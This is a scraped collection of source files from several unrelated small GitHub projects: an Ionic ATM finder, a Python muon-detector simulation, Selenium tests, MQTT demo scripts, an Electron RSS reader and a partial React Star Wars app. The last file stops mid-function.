<file_sep>/www/js/controllers/atmDetailController.js
(function(){
'use strict';
angular.module('App.Controllers')
.controller('AtmDetailController', ['$scope', '$state', 'AtmService', 'BingApiKey', 'LaunchNavigatorService', '$ionicPopup',
function($scope, $state, AtmService, BingApiKey, LaunchNavigatorService, $ionicPopup){
var atm = AtmService.getATMAt($state.params.index);
var navigate = function(){
LaunchNavigatorService
.navigate([atm.Latitude, atm.Longitude], null)
.catch(function(){
$ionicPopup.alert({
title: 'Error',
template: 'Navigation is not supported on this platform.',
okType: 'button-positive'
})
});
};
$scope.atm = atm;
$scope.bingApiKey = BingApiKey;
$scope.hasFeatures = (atm.Hours && atm.Hours !== '') || (atm.RetailInfo && atm.RetailInfo !== '') || atm.AcceptsDeposit === 'Y';
$scope.navigate = navigate;
}]);
}());
<file_sep>/www/js/controllers/addressFormController.js
(function(){
'use strict';
angular.module('App.Controllers')
.controller('AddressFormController', ['$scope', '$state',
function($scope, $state) {
var startSearch = function(){
$state.go('atmlist', $scope.data);
};
$scope.data = {
street: '',
city: '',
state: ''
};
$scope.submit = function(form) {
if(form.$valid) {
startSearch();
}
};
}]);
}());
<file_sep>/www/js/controllers/atmlistController.js
(function(){
'use strict';
angular.module('App.Controllers')
.controller('AtmListController', ['$scope', '$state', '$ionicPopup', '$ionicLoading', '$ionicHistory', '_', 'GeoLocationService', 'AtmService', 'BingApiKey',
function($scope, $state, $ionicPopup, $ionicLoading, $ionicHistory, _, GeoLocationService, AtmService, BingApiKey) {
var locationPins = [];
var displayErrorMessage = function(message){
$ionicPopup.alert({
title: 'Error',
template: message,
okType: 'button-positive'
}).then(function(){
$ionicHistory.goBack();
});
};
var gotATMs = function(atms) {
$scope.atmList = atms;
$scope.mapPins = _.reduce(atms, function(accum, value, index){
accum.push({
latitude: value.Latitude,
longitude: value.Longitude,
label: index + 1
});
return accum;
}, locationPins);
$ionicLoading.hide();
};
var searchATMs = function(data){
AtmService.findATMs(data, 20).then(gotATMs, function(){
$ionicLoading.hide();
displayErrorMessage('Could not connect to the ATM service. Make sure that you have Internet access, and try again later.');
});
};
var gotLocation = function(location) {
var data = location.coords;
data.type = 'geo';
// Pin for current location
locationPins.push({
latitude: data.latitude,
longitude: data.longitude,
label: 'Me'
});
searchATMs(data);
};
var showHelp = function(){
$ionicPopup.alert({
title: 'What do those symbols mean?',
templateUrl: 'templates/legendTemplate.html',
okType: 'button-positive'
});
};
var goToDetail = function(index){
$state.go('atmdetail', {index: index});
};
var useAddress = $state.params.street || $state.params.city || $state.params.state;
$scope.bingApiKey = BingApiKey;
$scope.showHelp = showHelp;
$scope.goToDetail = goToDetail;
$ionicLoading.show({
templateUrl: 'templates/loadingTemplate.html'
});
if(useAddress) {
var data = {
type: 'address',
street: $state.params.street,
city: $state.params.city,
state: $state.params.state
};
searchATMs(data);
}
else {
GeoLocationService.getCurrentPosition({timeout: 10000}).then(gotLocation, function(){
$ionicLoading.hide();
displayErrorMessage('Could not locate your device. Make sure that this app is granted access to location services and try again.');
});
}
}]);
}());
<file_sep>/www/js/directives/bing-map.js
(function(){
'use strict';
angular.module('App.Directives')
.directive('bingMap', ['BingMaps', function(BingMaps) {
var controller = function($scope, $element) {
var map = new BingMaps.Map($element[0], {
credentials: $scope.apikey,
showDashboard: false,
enableSearchLogo: false
});
var clearPushpins = function(){
for(var i = map.entities.getLength() - 1; i >= 0; i--){
var entity = map.entities.getAt(i);
if(entity instanceof BingMaps.Pushpin){
map.entities.removeAt(i);
}
}
};
var calculateBestZoom = function(viewRect, buffer, mapWidth, mapHeight){
if(viewRect.width || viewRect.height) {
// At least one of the dimensions of the rectangle is not zero, so one of the zoom levels
// won't be Infinity (division by zero).
// Zoom level based on map width
var zoomW = Math.log((360.0 * (mapWidth - 2 * buffer)) / (256 * viewRect.width)) / Math.log(2);
// Zoom level based on map height
var zoomH = Math.log((360.0 * (mapHeight - 2 * buffer)) / (256 * viewRect.height)) / Math.log(2);
return Math.floor(Math.min(zoomW, zoomH));
}
else {
// If we don't have data to work with we will default to 14.
// This usually happens when we only have one pin in the map.
return 14;
}
};
var getPinForLocation = function(location) {
var loc = new BingMaps.Location(location.latitude, location.longitude);
var pushpin = new BingMaps.Pushpin(loc, {
text: location.label ? location.label.toString() : '',
textOffset: new BingMaps.Point(0, 5),
icon: location.label === 'Me' ? 'img/pushpinMe.svg' : 'img/pushpin.svg',
height: 30,
width: 30
});
return pushpin;
};
$scope.$watch('pushpins', function(newValue){
if(newValue){
clearPushpins();
var locations = [];
if(angular.isArray(newValue)){
// We need to start from the last location so the z-index of the pins on the map is correct
for(var idx = newValue.length - 1; idx >= 0; idx--){
var pushpin = getPinForLocation(newValue[idx]);
map.entities.push(pushpin);
locations.push(pushpin.getLocation());
}
}
else {
var pushpin = getPinForLocation(newValue);
map.entities.push(pushpin);
locations.push(pushpin.getLocation());
}
var viewRect = BingMaps.LocationRect.fromLocations(locations);
var bufferPx = 45;
var zoomLevel = calculateBestZoom(viewRect, bufferPx, $element[0].parentElement.clientWidth, $element[0].parentElement.clientHeight);
map.setView({animate: true, center: viewRect.center, zoom: zoomLevel});
}
});
};
return {
template: '<div class="bingMap"></div>',
restrict: 'E', // Only match element name
replace: true,
scope: {
apikey: '=',
pushpins: '=?'
},
controller: controller
};
}]);
}());
<file_sep>/README.md
CO-OP ATMs Ionic Demo
===================
This is a sample app to find ATMs in the [CO-OP network](http://co-opcreditunions.org/) built using [Ionic Framework](http://ionicframework.com).
Getting started
-------------
Before running the app there are a few things you should install.
**Installing Ionic CLI and Cordova**
npm install -g ionic cordova gulp
**Node and Bower packages**
npm install
ionic state restore
bower install
**Bing API Key**
Although the app is functional without this, you will see an overlay on the map that will cover part of the pushpins. You can get a free API Key on [Bing Maps Portal](https://www.bingmapsportal.com/). Once you get it, execute the following Gulp task to add it to the app:
gulp bingkey --add <your API key>
Running the app
--------------------
**On a browser window**
The app is already set to run in this environment, just type `ionic serve` and a browser window will open automatically.
**On a device**
*Removing the ATM service proxy*
In order to run on the local browser, we have set up a proxy so we can make calls to the ATM service in that environment. However, this is not needed when running as a Cordova app and should be disabled using the following command.
gulp proxy --remove
> **Note:** You can use `gulp proxy --add` to revert the change.
*Adding a platform*
You need to add the target platforms for the app. For example, for Windows 10 you would need to type:
ionic platform add "windows@https://aka.ms/cordova-win10"
After that, just type `ionic build windows` to build the AppX package which you can later install on a phone running Windows 10. A way to do this is copying the package to the phone, navigate to the folder containing the package on the File Explorer app and tap on the appx file.
>**Note:** You need to have the phone in Developer Mode in order to install the app, which can be enabled in the Settings app.
For more commands, check out the [Windows Platform Guide](http://cordova.apache.org/docs/en/edge/guide_platforms_win8_index.md.html#Windows%208%20Platform%20Guide).
Additional Notes
----------------
This demo application uses data publicly available on the [Co-Op Network ATM Locator](https://co-opcreditunions.org/locator/) site. Co-Op and Co-Op Network are registered trademarks of Co-Op Financial Services.
## Code of Conduct
This project has adopted the [Microsoft Open Source Code of Conduct](https://opensource.microsoft.com/codeofconduct/). For more information see the [Code of Conduct FAQ](https://opensource.microsoft.com/codeofconduct/faq/) or contact [<EMAIL>](mailto:<EMAIL>) with any additional questions or comments.
<file_sep>/www/js/services/VendorServices.js
(function() {
'use strict';
angular.module('App.Services')
/* Registration of services for bower libraries */
.factory('_', ['$window', function($window){
return $window._;
}])
.factory('Papa', ['$window', function($window){
return $window.Papa;
}])
.factory('BingMaps', ['$window', function($window){
return $window.Microsoft.Maps;
}]);
}()); | 63e16de0d8571250f6880d9ce86e0f9dee4a1be9 | [
"JavaScript",
"Markdown"
] | 7 | JavaScript | sirarthur30-hotmail-com/ionic-demo | 75d1e3d5678563f118fe31bc1a5a525dee9b8434 | 9ecee7ad51fc91e7d25dd1d3b1bac493f89e2b4d |
refs/heads/master | <file_sep># This program should simulate and graph muons interacting with the detector
import math
import random as ran
from math import atan, degrees
import datetime
import matplotlib.pyplot as plt
from matplotlib.colors import LogNorm
import numpy as np
def muonEvent(maxCount):
class GrowingList(list):
def __setitem__(self, index, value):
if index >= len(self):
self.extend([None] * (index + 1 - len(self)))
list.__setitem__(self, index, value)
count = 0
scintillators = [0, 0, 0, 0, 0, 0, 0, 0]
topFlag = 0
botFlag = 0
topEvent = 0
botEvent = 0
coincidence = 0
topXpos = GrowingList()
topYpos = GrowingList()
botXpos = GrowingList()
botYpos = GrowingList()
slope = GrowingList()
gamma = GrowingList()
i = 0
while i <= maxCount:
slope[i] = 0
gamma[i] = 0
topXpos[i] = 0
topYpos[i] = 0
botXpos[i] = 0
botYpos[i] = 0
i += 1
while count < maxCount:
topMuonX = ran.randint(0, 200)
topMuonY = ran.randint(0, 200)
botMuonX = ran.randint(0, 200)
botMuonY = ran.randint(0, 200)
muDir = ran.randint(0, 100)
topXpos[count] = topMuonX
topYpos[count] = topMuonY
botXpos[count] = botMuonX
botYpos[count] = botMuonY
if (10 <= topMuonX <= 81) & (10 <= topMuonY <= 34):
topFlag = 1
if topFlag == 1:
topEvent += 1
if 10 <= topMuonY <= 16:
scintillators[7] += 1
elif 16 < topMuonY <= 22:
scintillators[6] += 1
elif 22 < topMuonY <= 28:
scintillators[5] += 1
elif 28 < topMuonY <= 34:
scintillators[4] += 1
if (10 <= botMuonX <= 81) & (10 <= botMuonY <= 34):
botFlag = 1
if botFlag == 1:
botEvent += 1
if 10 <= botMuonY <= 16:
scintillators[3] += 1
elif 16 < botMuonY <= 22:
scintillators[2] += 1
elif 22 < botMuonY <= 28:
scintillators[1] += 1
elif 28 < botMuonY <= 34:
scintillators[0] += 1
if (botFlag & topFlag) == 1:
coincidence += 1
if muDir > 15:
if (botMuonX - topMuonX) == 0:
slope[count] = "undefined"
elif (botMuonX - topMuonX) != 0:
slope[count] = (botMuonY - topMuonY) / (botMuonX - topMuonX)
gamma[count] = degrees(math.atan((botMuonY - topMuonY) / 48))
if 0 <= muDir <= 15:
if (topMuonX - botMuonX) == 0:
slope[count] = "undefined"
elif (topMuonX - botMuonX) != 0:
slope[count] = (topMuonY - botMuonY) / (topMuonX - botMuonX)
gamma[count] = degrees(math.atan((topMuonY - botMuonY) / 48))
count += 1
print("Top Events Occured:", "\n", topEvent, "\n", "Bottom Events Occured:", "\n", botEvent, "\n", "Coincidences",
"\n", coincidence, "\n", "Hits on Each Scintillator:", "\n", scintillators, "\n", "Slopes of Muons:", "\n",
slope, "\n", "Incident Angles:", "\n", gamma, "\n")
today = datetime.datetime.now()
txt = open("Monte Carlo Sim.txt",'w')
txt.write("\n")
txt.write("Current Run Time:")
txt.write("\n")
txt.write(str(today))
txt.write("\n")
txt.write("Top Events Triggered:")
txt.write("\n")
txt.write(str(topEvent))
txt.write("\n")
txt.write("Bottom Events Triggered:")
txt.write("\n")
txt.write(str(botEvent))
txt.write("\n")
txt.write("Number of Coincidences:")
txt.write("\n")
txt.write(str(coincidence))
txt.write("\n")
txt.write("Hits on Top Plane Scintillators:")
txt.write("\n")
i = 4
while i <= 7:
txt.write(str(scintillators[i]))
txt.write("\n")
i += 1
txt.write("Hits on Bottom Plane Scintillators:")
txt.write("\n")
i = 0
while i <= 3:
txt.write(str(scintillators[i]))
txt.write("\n")
i += 1
txt.write("Slopes of Individual Cosmic Rays:")
txt.write("\n")
i = 0
while i <= maxCount:
txt.write(str(slope[i]))
txt.write("\n")
i += 1
txt.write("Incident Angles of Cosmic Rays:")
txt.write("\n")
i = 0
while i <= maxCount:
txt.write(str(gamma[i]))
txt.write("\n")
i += 1
txt.close()
x = np.arange(8)
plt.figure(1)
plt.bar(x, scintillators)
plt.xticks(x,('1', '2', '3', '4', '5', '6', '7', '8'))
plt.xlabel('Detector')
plt.ylabel('Events')
plt.title('Combined')
plt.figure(2)
plt.hist2d(topXpos, topYpos, bins=maxCount, norm=LogNorm())
plt.colorbar()
plt.show()
muonEvent(10000)
<file_sep># CosmicStand
Monte Carlo Simulation for Cosmic Ray Tracking
Simulates particle movement with scintillator based detectors
Gives a rough estimate for expected rates with the cosmic stand at ACU
Follows the approximate cosine squared distribution
| 9aefe0b0cc4419f93f13ea1478da76af1798854d | [
"Markdown",
"Python"
] | 2 | Python | kjk15b/CosmicStand | 344eca80be49c1650ad99d38e41a09188e6fe390 | cdff86d76eec3f7a999ce09c8e6a4d7e4c346d8a |
refs/heads/master | <file_sep>rootProject.name = 'addressbook-tests'
<file_sep>package com.tr.example.tests;
import com.tr.example.model.ContactData;
import org.testng.annotations.Test;
import org.testng.Assert;
import java.io.File;
public class ContactCreation extends TestBase {
@Test
public void createContact() {
app.getNavigationHelper().goToHomePage();
int before = app.getContactHelper().getContactCount();
app.getContactHelper().initContactCreation();
File photo = new File("src/test/resources/cat.jpg");
System.out.println(photo.exists());
app.getContactHelper().fillContactForm(new ContactData()
.withfName("Alex1")
.withlName("Selyavin")
.withAddress("Israel")
.withPhoto(photo)
.withGroup("name1"));
app.getContactHelper().confirmContactCreation();
int after = app.getContactHelper().getContactCount();
Assert.assertEquals(after,before+1);
}
}
<file_sep># AlexeySelyavin
Study Tel Ran QA
<file_sep>package com.tr.example.tests;
import com.tr.example.model.GroupData;
import org.openqa.selenium.By;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.testng.Assert;
import org.testng.annotations.DataProvider;
import org.testng.annotations.Test;
import java.io.*;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
public class GroupCreation extends TestBase {
@DataProvider
public Iterator<Object[]> validGroups() throws IOException {
List<Object[]> list = new ArrayList<>();
BufferedReader reader = new BufferedReader(new FileReader(new File("src/test/resources/groups.csv")));
String line = reader.readLine();
while (line != null){
String[] split = line.split(";");
list.add(new Object[] {new GroupData()
.withName(split[0])
.withHeader(split[1])
.withFooter(split[2])});
line = reader.readLine();
}
return list.iterator();
}
@Test(dataProvider = "validGroups")
public void testGroupCreation(GroupData group) {
app.getNavigationHelper().goToGroupPage();
int before = app.getGroupHelper().getGroupCount();
app.getGroupHelper().initNewGroupCreation();
app.getGroupHelper().fillGroupForm(new GroupData()
.withName(group.getName())
.withHeader(group.getHeader())
.withFooter(group.getFooter()));
app.getGroupHelper().submitGroupCreation(By.name("submit"));
app.getGroupHelper().returnToGroupPage();
int after = app.getGroupHelper().getGroupCount();
Assert.assertEquals(after, before+1);
}
}
<file_sep>rootProject.name = 'sampleTest'
<file_sep>package com.tr.example.appManager;
import com.tr.example.model.ContactData;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.support.ui.Select;
public class ContactHelper extends HelperBase{
public ContactHelper(WebDriver driver) {
super(driver);
}
public void initContactCreation() {
driver.findElement(By.xpath("//a[@href='edit.php']")).click();
}
public void fillContactForm(ContactData contactData) {
type(By.name("firstname"), contactData.getfName());
driver.findElement(By.name("lastname")).click();
driver.findElement(By.name("lastname")).clear();
driver.findElement(By.name("lastname")).sendKeys(contactData.getlName());
driver.findElement(By.name("address")).click();
driver.findElement(By.name("address")).clear();
driver.findElement(By.name("address")).sendKeys(contactData.getAddress());
attach(By.name("photo"), contactData.getPhoto());
new Select(driver.findElement(By.name("new_group"))).selectByVisibleText(contactData.getGroup());
}
public void type(By locator, String text) {
driver.findElement(locator).click();
driver.findElement(locator).clear();
driver.findElement(locator).sendKeys(text);
}
public void confirmContactCreation() {
driver.findElement(By.name("submit")).click();
}
public int getContactCount() {
return driver.findElements(By.name("selected[]")).size();
}
public void initContactDeletion() {
driver.findElement(By.xpath("//input[@value='Delete']")).click();
}
public void selectContact() {
driver.findElement(By.name("selected[]")).click();
}
}
| 13f2cfa6d15e54290a246d74e8a45a93f2c992da | [
"Markdown",
"Java",
"Gradle"
] | 6 | Gradle | Nhevgevgev/AlexeySelyavin | 19ace6fb451c011e925ea196e93e7c056b4a57e5 | 1405330e13faba3421d81cfef1bcdfcb9c1ada20 |
refs/heads/master | <repo_name>daehyoung/mqtt-demo<file_sep>/pub.py
import paho.mqtt.publish as publish
from datetime import datetime
msg = "hello :" + str(datetime.now())
publish.single(topic="notice", payload=msg, hostname="localhost",port = 1883, auth = { 'username' : 'publisher', 'password' : '<PASSWORD>!' })
<file_sep>/README.md
# mqtt-demo
<file_sep>/pub-ssl.py
import paho.mqtt.publish as publish
from datetime import datetime
import ssl
certs = '/home/daehyoung/mqtt/certs/ca.crt'
tls = { 'ca_certs': certs }
msg = "hello :" + str(datetime.now())
publish.single(topic = "notice", payload= msg, hostname= "localhost", port = 8883, auth = { 'username' : 'publisher', 'password' : '<PASSWORD>!' },tls=tls)
<file_sep>/sub.py
import paho.mqtt.client as paho
def on_subscribe(client, userdata, mid, granted_qos):
print("Subscribed: "+str(mid)+" "+str(granted_qos))
def on_message(client, userdata, msg):
print(msg.topic+" "+str(msg.qos)+" "+str(msg.payload))
def on_connect(client, userdata, flags, rc):
print("CONNACK received with code %d." % (rc))
client.subscribe("notice", qos=2)
def on_disconnect(client, userdata, rc):
print("client disconnected ok")
client = paho.Client()
client.on_subscribe = on_subscribe
client.on_message = on_message
client.on_connect = on_connect
client.on_disconnect = on_disconnect
client.username_pw_set("subscriber", "subscriber<PASSWORD>!")
client.connect("localhost", 1883)
client.loop_forever()
<file_sep>/docker-compose.yml
version: '3'
services:
mqtt:
image: eclipse-mosquitto:1.6
restart: always
ports:
- 1883:1883
- 8883:8883
volumes:
- ./config:/mosquitto/config
- ./data:/mosquitto/data
- ./log:/mosquitto/log
- ./certs:/mosquitto/certs
networks:
- backend
networks:
backend:
driver: bridge
| 3e7e5e92e08802ce14807794ef85bcd15505f55b | [
"Markdown",
"Python",
"YAML"
] | 5 | Python | daehyoung/mqtt-demo | c68a02c8babc316db98684f77f4d5f0316495f03 | b779ea820110b734f45005831bcc4fcbebb9eceb |
refs/heads/master | <file_sep># Quiz-Github
<file_sep>package com.example.quizapp
class Question(// setting the question passed
// returning the question passed
// answerResId will store question
var answerResId: Int, // setting the correct
// ans of question
// returning the correct answer
// of question
// answerTrue will store correct answer
// of the question provided
var isAnswerTrue: Boolean
) {
init {
// setting the values through
// arguments passed in constructor
isAnswerTrue = isAnswerTrue
}
}
<file_sep>package com.example.quizapp
import android.annotation.SuppressLint
import android.os.Build
import android.os.Bundle
import android.util.Log
import android.view.View
import android.widget.*
import androidx.annotation.RequiresApi
import androidx.appcompat.app.AppCompatActivity
class MainActivity : AppCompatActivity(), View.OnClickListener {
// setting up things
private var falseButton: Button? = null
private var trueButton: Button? = null
private var nextButton: ImageButton? = null
private var prevButton: ImageButton? = null
private var image: ImageView? = null
private var questionTextView: TextView? = null
private var correct = 0
// to keep current question track
private var currentQuestionIndex = 0
private val questionBank: Array<Question> =
arrayOf( // array of objects of class Question
// providing questions from string
// resource and the correct ans
Question(R.string.a, true),
Question(R.string.b, false),
Question(R.string.c, false),
Question(R.string.d, true),
Question(R.string.e, false),
Question(R.string.f, true)
)
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
// setting up the buttons
// associated with id
falseButton = findViewById(R.id.false_button)
trueButton = findViewById(R.id.true_button)
nextButton = findViewById(R.id.next_button)
prevButton = findViewById(R.id.prev_button)
// register our buttons to listen to
// click events
questionTextView = findViewById(R.id.answer_text_view)
image = findViewById(R.id.ic_amumu_background)
//image!!.setImageResource(R.drawable.ic_amumu_foreground)
falseButton!!.setOnClickListener(this)
trueButton!!.setOnClickListener(this)
nextButton!!.setOnClickListener(this)
prevButton!!.setOnClickListener(this)
}
@SuppressLint("SetTextI18n")
@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
override fun onClick(v: View) {
// checking which button is
// clicked by user
// in this case user choose false
when (v.id) {
R.id.false_button -> checkAnswer(false)
R.id.true_button -> checkAnswer(true)
R.id.next_button -> // go to next question
// limiting question bank range
if (currentQuestionIndex < 7) {
currentQuestionIndex += 1
// we are safe now!
// last question reached
// making buttons
// invisible
if (currentQuestionIndex == 6) {
questionTextView!!.text = getString(
R.string.correct, correct
)
nextButton!!.visibility = View.INVISIBLE
prevButton!!.visibility = View.INVISIBLE
trueButton!!.visibility = View.INVISIBLE
falseButton!!.visibility = View.INVISIBLE
if (correct > 3) questionTextView!!.text = ("CORRECTNESS IS " + correct
+ " "
+ "OUT OF 6") else image!!.setImageResource(
R.drawable.ic_crying_background
)
// if correctness<3 showing sad emoji
} else {
updateQuestion()
}
}
R.id.prev_button -> if (currentQuestionIndex > 0) {
currentQuestionIndex = ((currentQuestionIndex - 1)
% questionBank.size)
updateQuestion()
}
}
}
@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
private fun updateQuestion() {
Log.d(
"Current",
"onClick: $currentQuestionIndex"
)
questionTextView!!.text = getString(questionBank[currentQuestionIndex].answerResId)
when (currentQuestionIndex) {
1 -> // setting up image for each
// question
image!!.setImageResource(R.drawable.ic_amumu_background)
2 -> image!!.setImageResource(R.drawable.ic_arrow_left_background)
3 -> image!!.setImageResource(R.drawable.ic_arrow_right_background)
4 -> image!!.setImageResource(R.drawable.ic_crying_background)
5 -> image!!.setImageResource(R.drawable.ic_flower_background)
6 -> image!!.setImageResource(R.drawable.ic_launcher_background)
7 -> image!!.setImageResource(R.drawable.ic_launcher_foreground)
}
}
private fun checkAnswer(userChooseCorrect: Boolean) {
val answerIsTrue: Boolean = questionBank[currentQuestionIndex].isAnswerTrue
// getting correct ans of current question
val toastMessageId: Int
// if ans matches with the
// button clicked
if (userChooseCorrect == answerIsTrue) {
toastMessageId = R.string.correct_answer
correct++
} else {
// showing toast
// message correct
toastMessageId = R.string.wrong_answer
}
Toast
.makeText(
this@MainActivity, toastMessageId,
Toast.LENGTH_SHORT
)
.show()
}
}
| fb54abb75dfd6cbcf5fd92f7530eeac910c9fe89 | [
"Markdown",
"Kotlin"
] | 3 | Markdown | AdmiralRaza/Quiz-Github | 34184be68ebc062a827c766ee1826146586f0bb7 | 979216721dd67e13787819c713893cd0673fa9aa |
refs/heads/master | <repo_name>bla-la/http<file_sep>/CMakeLists.txt
cmake_minimum_required (VERSION 2.6)
project (flower)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11 -O0 -ggdb3 -fno-builtin-malloc -fno-builtin-calloc -fno-builtin-realloc -fno-builtin-free")
set(CMAKE_LD_FLAGS "${CMAKE_LD_FLAGS} -lpcre -ltcmalloc")
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin)
set(CMAKE_CXX_COMPILER clang++)
set(CMAKE_C_COMPILER clang)
set(SRCS src/ghttpd_core.cpp
src/ghttpd_event.cpp
src/ghttpd_shedule.cpp
src/ghttpd_httpd.cpp)
include_directories(./include)
add_executable(ghttpd ${SRCS})
TARGET_LINK_LIBRARIES(ghttpd
pthread)
<file_sep>/src/ghttpd_httpd.cpp
#include <iostream>
#include <core.hpp>
int main(int argc, char ** argv){
}
<file_sep>/include/event.hpp
#ifndef __G_HTTP_CORE__
#define __G_HTTP_CORE__
#include <iostream>
namespace ghttp {
class EventLoop {
private:
public:
EventLoop();
~EventLoop();
int Run();
};
}
#endif
<file_sep>/src/ghttpd_core.cpp
#include <core.hpp>
namespace ghttp {
}
<file_sep>/Dockerfile
FROM centos:7.5.1804
RUN yum groupinstall -y "Development tools"
RUN yum install -y pcre-devel
RUN yum install -y cmake
RUN yum install -y boost-devel
RUN yum install -y clang
RUN yum install -y libcurl-devel
RUN yum install -y bash
RUN yum install -y epel-release
RUN yum install -y poco-devel
RUN yum install -y poco-net.x86_64
<file_sep>/include/core.hpp
#ifndef __G_HTTP_CORE__
#define __G_HTTP_CORE__
#include <iostream>
namespace ghttp {
}
#endif
| 5db8567f585298cf8094f514e3b1d4f3ffc8298e | [
"CMake",
"C++",
"Dockerfile"
] | 6 | CMake | bla-la/http | 4c1f0bc08c36d04313a9f09fc75f2c1d87b6ed0b | 2baa68090376a386fe7f9b29d7a4222b79216417 |
refs/heads/master | <file_sep># Usage
In the `test.groovy` file comment or uncomment the modules you wish to run.
After that run mvn vertx:run
<file_sep>require "vertx"
require "java"
include Vertx
EventBus.register_handler('.cars') do |message|
puts "I received a message #{message.body}"
reply = Hash.new
reply["headers"] = Hash.new
reply["body"] = "This is a reply"
message.reply reply
end
EventBus.send('test-registered', '.cars') do |message|
puts "I received a reply #{message.body}"
end | 20d8a455d446761b8de4abd131b7c707217c863f | [
"Markdown",
"Ruby"
] | 2 | Markdown | secondsun/aerogear-integration-tests-server | f3a15be1b18dee331c8165bcae63fb29d27bc947 | d8c9b2baac8e9e27eab3f453196d916107467c5c |
refs/heads/master | <repo_name>kevbui/bruit<file_sep>/index.js
/*
Copyright © 2016 <NAME>
This code is available under the "MIT License"
Please see the file LICENSE for more details
*/
const electron = require('electron');
const app = electron.app;
const windowStateKeeper = require('electron-window-state');
const storage = require('electron-json-storage');
// adds debug features like hotkeys for triggering dev tools and reload
require('electron-debug')();
// prevent window being garbage collected
let mainWindow;
function onClosed() {
// dereference the window
mainWindow = null;
}
function createMainWindow() {
const mainWindowState = windowStateKeeper({
defaultWidth: 1200,
defaultHeight: 800,
});
let win = new electron.BrowserWindow({
x: mainWindowState.x,
y: mainWindowState.y,
width: mainWindowState.width,
height: mainWindowState.height,
frame: false,
});
// Let us register listeners on the window, so we can update the state
// automatically (the listeners will be removed when the window is closed)
// and restore the maximized or full screen state
mainWindowState.manage(win);
win.setMenu(null);
win.loadURL(`file://${__dirname}/index.html`);
win.on('closed', onClosed);
return win;
}
app.on('window-all-closed', () => {
if (process.platform !== 'darwin') {
app.quit();
}
});
app.on('activate', () => {
if (!mainWindow) {
mainWindow = createMainWindow();
}
});
app.on('ready', () => {
mainWindow = createMainWindow();
});
<file_sep>/readme.md
# Bruit
A RSS reader that uses electron. Bruit only uses pure javascript and HTML.
Usess electron to provide multiplatform desktop client. Able to constantly check your favorite sites for updates,
without requiring you to visit them. Bruit will remember your favorite sites after you close the app.
## Download
Get the lastest version from releases page.
https://github.com/kevbui/bruit/releases
## Development
### Running
```
$ npm install
$ npm start
```
### Build
```
$ npm run build
```
Builds the app for macOS, Linux, and Windows, using [electron-packager](https://github.com/electron-userland/electron-packager).
### Bugs
Report any bugs in the issue tracker
https://github.com/kevbui/bruit/issues
## Contact Information
<EMAIL>
## License
MIT © <NAME>
<file_sep>/js/feedly.js
const Feedly = require('feedly');
var f = new Feedly({
client_id: 'sandbox',
client_secret: '1QA6I3662OW2KEG48WA6',
base: 'http://sandbox.feedly.com',
port: 8080
});
f.entry(0).then(function(results) {
// process results
console.log(results);
},
function (error) {
// process error
});
<file_sep>/js/titlebar.js
/* Copyright © 2016 <NAME>
This code is available under the "MIT License"
Please see the file LICENSE
for more details
*/
(function () {
const remote = require('electron').remote;
const storage = require('electron-json-storage');
function init() {
document.getElementById("min-btn").addEventListener("click", function (e) {
const window = remote.getCurrentWindow();
window.minimize();
});
document.getElementById("max-btn").addEventListener("click", function (e) {
const window = remote.getCurrentWindow();
if (!window.isMaximized()) {
window.maximize();
} else {
window.unmaximize();
}
});
document.getElementById("close-btn").addEventListener("click", function (e) {
const window = remote.getCurrentWindow();
storage.set('savedFeeds', links, function(error) {
if(error) throw error;
})
window.close();
});
};
document.onreadystatechange = function () {
if (document.readyState == "complete") {
init();
}
};
})();
function submitAddDialog() {
const storage = require('electron-json-storage')
let data = document.getElementById('feed-input').value;
feednami.load(data, (result) => {
if (result.error) {
document.getElementById('feed-input').value = 'Bad URL';
}
else {
links.push(data);
let parent = document.getElementById('sidebar');
let div = document.createElement('div');
div.className = 'sidebar-feed';
div.innerText = result.feed.meta.title;
div.onclick = loadFeed;
div.setAttribute("link", data);
parent.appendChild(div);
document.getElementById('feed-input').value = '';
}
})
storage.set('savedFeeds', links, (error) => {
if (error) throw error;
});
document.getElementById('add-dialog').style.display = none;
}
function showAddDialog(id) {
let div = document.getElementById('add-dialog');
if (div.style.display !== 'none') {
div.style.display = 'none';
}
else {
di
}
} | 65deaa0be684ca716a8d37067c9dc1765df6f30e | [
"JavaScript",
"Markdown"
] | 4 | JavaScript | kevbui/bruit | e71f637c1b6245d10a99fe7e0302668116c45e6c | d1c537b2502783ed606cf30ee6001268a2d49a86 |
refs/heads/master | <repo_name>wilsonevan/star-wars<file_sep>/src/styles/GlobalStyles.js
import { createGlobalStyle } from "styled-components";
export const GlobalStyles = createGlobalStyle`
* {
margin: 0;
padding: 0;
box-sizing: inherit !important;
}
body {
box-sizing: border-box !important;
font-family: 'Star Jedi' , sans-serif !important;
letter-spacing: 1.25px !important;
font-weight: 300 !important;
color: white !important;
background: black !important;
}
h1 {
font-family: 'Star Jedi' ;
letter-spacing: 1.25px !important;
font-weight: 300 !important;
color: #FFD700 !important;
}
h2, h3, h4, h5, h6,
p, div, button, a,
input, select, textarea {
font-family: 'Open Sans', sans-serif !important;
font-weight: 300 !important;
letter-spacing: 1.25px !important;
}
`;
<file_sep>/src/components/People.js
import React, { useState, useEffect } from "react";
import axios from "axios";
import { Link } from "react-router-dom";
import styled from "styled-components";
import { Dimmer, Loader } from "semantic-ui-react";
import "../fonts/Fonts.css";
const People = () => {
const [people, setPeople] = useState([]);
const [planets, setPlanets] = useState([]);
// const [homeworldIds, setHomeworldIds] = useState([]);
useEffect(() => {
// Get all of the people, and set their data
axios.get("https://swapi.co/api/people/").then(res => {
setPeople(res.data.results);
// const characters = res.data.results.map(person => {
// return axios.get(person.homeworld).then(res => {
// // return [
// // ...people,
// // {
// // ...person,
// // homeworldId: id,
// // homeworldName: res.data.name
// // }
// // ];
// });
// });
});
// Get all of the planets
axios.get("https://swapi.co/api/planets/").then(res => {
setPlanets(res.data.results);
});
}, []);
// Find the correspodning name of the planet from it's URI.
// IMPORTANT NOTE - API does not correctly return all planet names,
// so if there is no matching URI, then find the name via axios request directly.
const findPlanetName = planetURI => {
if (planets.length > 0) {
